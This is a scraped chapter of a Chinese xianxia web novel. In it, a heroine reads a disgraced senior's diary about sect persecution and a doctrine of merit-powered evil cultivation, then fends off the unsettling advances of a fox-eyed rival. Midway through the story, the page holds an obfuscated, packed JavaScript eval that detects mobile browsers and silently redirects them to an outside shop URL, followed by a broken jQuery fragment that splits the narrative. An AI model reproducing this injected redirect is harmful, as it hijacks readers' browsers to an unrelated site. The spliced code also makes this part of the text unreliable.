文趣网 > 其他小说 > 谁让她这样修仙的? > 9. 功德邪修
    【天启三二七年五月二十五】

    仙道大会第二轮比试为一对一晋级赛。

    天下英雄如过江之鲫,我并非最强之人,身上还有伤未愈,却一路晋级。

    那些与我比试的修士似乎并未用尽全力。我追问缘由,他们却支支吾吾,极尽疏远。

    唯有沈师兄好意说明,上一个与陈无垢作对的人,落得个生不如死的下场......

    究其缘由,竟是因为我将陈无垢踹下擂台,故而再无人敢胜过我!

    【天启三二七年六月十】

    仙道大会魁首......呵,真是个笑话。

    ☆

    当年竟有这般隐情!沈多情有些怀疑,稍稍犹豫,又继续翻看日记。

    后面许多页已被损毁,时间从三二七年跳到了五年后,也就是三三二年。

    【天启三三二年八月三十】

    近来青岚山下,恶兽泛滥,很不寻常,不少无辜路人被恶兽所伤。

    恶兽血中带毒,唯有天衍秘境中的灵草可解。

    天衍秘境,天衍宗......

    这些年,天衍宗屡屡来找青岚宗的麻烦,无非是还在记恨当年之事。

    【天启三三二年九月一】

    陈无垢送来解毒灵草,还有天衍秘境准入玉牌。

    师父念叨着惹不起躲得起,匆忙带着师弟师妹收拾行李,准备连夜搬家。

    难道当年我真的做错了?

    师父说钩子就是屁股。

    陈无垢要我的钩子做什么?他又不是没有?

    再说我辈修行之人辟谷之后,又用不到钩子。唉,总归这祸事是我引来的,一人做事一人当,我自该去做个了断。

    【天启三三二年十月七】

    陈无垢死了。

    说了一百次,一千次,一万次。

    我只打断了他全身的骨头,还是给他留了一口气的。

    所有人都不相信,说是我杀了他。

    他们说我走火入魔,说我疯了,要废了我!

    哈哈哈哈哈!

    他们根本不在乎真相!

    他们一心引我进天衍秘境,设计诛杀,就没想过陈无垢也可能会死?

    呵呵!灵根已毁,修为已废。

    早知如此,那日我就该亲手杀了他。只愿师父师弟师妹此刻隐姓埋名,跑得越远越好。

    【天启三三二年十月九】

    我早已做好赴死的准备,可天衍宗宗主陈流云似乎并不打算给我个痛快。

    他常常来地牢,同我感慨,说他有很多孩儿,陈无垢只是其中之一。

    既不聪明,天赋也不高,他本也不是十分属意。

    若我想活命,也不是没有其他法子。起初我并不能领会其中真意,心道还有这种好事。

    哪知他也跟陈无垢一样!看上了我的钩子!卖钩子,原来是要同我结衾裯之好!该死!他想睡我!

    他说陈无垢天资不足,就算没死在秘境里,过个千百年,也会耗尽寿元。

    让我不要介怀,安心卖钩子给他。

    此等惊世骇俗,阴阳颠倒,有悖伦常之事,我怎么可能答应!

    陈流云见我执意不肯,让我不要敬酒不吃吃罚酒。

    情急之下,他竟说愿意雌伏于我身下......

    ☆

    咳咳咳!

    沈多情被自己的口水呛住了,沟槽的钩子文学。

    只是闻人前辈姿容惊为天人,青岚宗又势微。

    沈多情做足了心理准备,才鼓起勇气继续翻看。

    【天启三三二年十一月一】

    坠崖已有一月有余,大难不死。

    天衍宗弟子多次搜山,都被我躲了过去,陈流云想夺我清白做梦去吧!

    此间数次打坐入定,勾连天地之气。无用,天地弃我。难道灵根被毁,就真的不能修仙吗?

    【天启历】

    山中无岁月,我已记不得今夕是何日。

    腹中空空,路遇猪兄,猪突猛进,不敌,我与猪兄不慎跌入暗河,随着河水被冲进一钟乳岩洞。

    洞中空旷,溪水淙淙,光影奇幻,石床上坐着一副枯骨。

    那枯骨能言善辩,名为浣红绸,与我一见如故,要传我绝世功法。

    什么大梦千秋诀,九转道蛊,噬元经,血杀术......旁门左道,种类繁多,恐怖如斯!

    我是不是出现幻觉了?否则这等奇事怎会轮到我。

    【天启历】

    猪兄数次跳进暗河,试图离开岩洞,被湍急水流冲回来后,看人都斜着眼看。

    它一定是饿了,在考虑我能不能吃......好在,猪兄有些智慧,很快学会了捕鱼。

    【天启历】

    浣红绸总是一刻不停,同我讲述此方天地,乃至天外天,上古纪元的美好光景。

    浣红绸说,他的目标是化身天道,无所不晓无所不能。

    唉,看来病得不轻的不仅仅是我。

    【天启历】

    自染上风寒,高烧不退身体越来越虚弱,我可能要死了。

    孑然一身,竟连遗书都不知该如何落笔,师父啊师父,邪修就一定是坏人吗?

    为何陈流云、陈无垢这等龌龊猥琐之人,都能自诩正道?

    不不不,我不能被浣红绸蛊惑,邪修人人得而诛之,我不能自甘堕落,会遭雷劈的。

    【天启历】

    哈哈哈哈哈哈......世间万事万物皆有规律可循。生老病死便是生灵之命。

    寻常修士引动天地灵气,逆天改命,寿命得到延长。

    故其子嗣艰难,每每进阶,必遭雷劈。

    邪修引动天地浊气,扰乱生死纲常,人不人鬼不鬼。

    故而易陷魔障,心为形役,周身时时常伴天罚。

    功德修士,得功德之力庇护,道途平坦。

    却常常受限于人心似水,水能载舟亦能覆舟,难得善果。

    倘若我修炼邪法,用来救危扶难、锄强扶弱获取功德,功德伟力又会抵消天道制裁。

    度过天劫,精深邪法,继续救危扶难,又会获得功德伟力......

    如此循环往复。哈哈哈哈哈哈,我悟了,我悟了!

    功德邪修!苍生执剑!

    ☆

    读到此处,沈多情的呼吸不由清浅了几分。

    用功德伟力规避天罚......清正本心,匡扶正义,前辈濒死获得的感悟竟与她心中所想不谋而合!

    “妙啊,妙啊,多谢前辈指点,那么又要如何获取功德呢?”

    “沈多情。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788417|210265||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “嗯?”沈多情迫不及待翻开下一页,却惊觉已经翻到了日记的最后一页。

    惋惜之际,乍一听到有人唤自己,不耐应声。

    待回身望去,方见尹羲和站在身后,正似笑非笑看着她,不知看了多久了。

    对上那双狐狸眼,沈多情一个头两个大。

    梦里,面对她的强制爱,商寒川、温不言是百般拒绝,避之不及。

    可尹羲和却甘愿成为她的玩物,即便终日被囚于暗室,也毫无怨言,只卑微祈求她多看他一眼。

    后来二人闹翻,她死了。

    也是这变态狐狸刨了乱葬岗,挖出她的尸骨,说要拿来修茅厕。

    短暂迟疑后,沈多情起身将日记收好,点头示意:“尹道友。”

    “沈多情。”尹羲和走近,俯身凑到沈多情面前,眨着狐狸眼,专注的看着沈多情,似是在探究什么,随后用哄孩子的语气小声喃喃:“沈多情。”

    二人之间的距离已不足一寸。

    太近了。

    沈多情下意识屏住呼吸,强忍不适:“何事?”

    “主人。”

    “?!”沈多情似乎听到了什么不得了的东西,不太确定,再问一问,“尹道友,你叫我什么?”

    尹羲和理直气壮张开手臂:“主人,抱我。”

    尹羲和眨巴着漂亮的狐狸眼,固执地维持着张开双臂的姿势,仿佛沈多情不抱他,他就这样站一辈子。

    天可怜见。

    沈多情向来对漂亮的人最是宽容,若真是萍水相逢,她只怕早就上前嘘寒问暖,柔声安慰了。

    可现在,她不急不缓退后几步,拉开二人之间的距离。

    梦里,她分明与尹羲和决裂了,挫骨扬灰那种决裂!

    重生后,不该是这种反应的......

    此人表面是个温润君子,实则内心潮湿阴暗,睚眦必报。

    若她照做,尹羲和也许会觉得恶心,然后斩断她的双臂。

    若她拒绝,尹羲和也许会觉得冒犯,也斩断她的双臂。

    沈多情再次退远了些:“道友,你我初次见面,这太冒昧了,我接受不了。”

    随着她的动作,尹羲和眼中的温度也降到冰点,胸腔几度起伏:“见几次你能接受?”

    不等沈多情回答,尹羲和紧接着又问:“怎么这么瘦?眼眶也发黑,难道是亏心事做多了,睡不着?”

    沈多情深吸一口气,轻轻揭过:“多谢道友关心,我无碍。”

    尹羲和听后,扔过来一个物件。

    沈多情稳稳接住,摊开手掌,发现是羊脂玉做成的瓷瓶。

    她打开盖子,倒出几粒丹药凑近闻了闻,不由精神一振。

    只闻气味,也能知道此物不是凡品,就是不太确定,里面有没有什么其他猫腻......

    沈多情不客气的将瓷瓶放进乾坤袋,拱手道谢:“多谢道友赠药。”

    尹羲和玩味一笑:“怎么不直接用?怕我在里面下毒?商寒川的毒你都吃了,怎么偏与我这么生分?”

    “......”沈多情嘴角抽了两下,声音严肃,“你真下毒了?”

    话音刚落,虞菡萏和明澈走进石室。

    尹羲和意味深长看沈多情一眼,又变回了谦谦君子:“你猜。”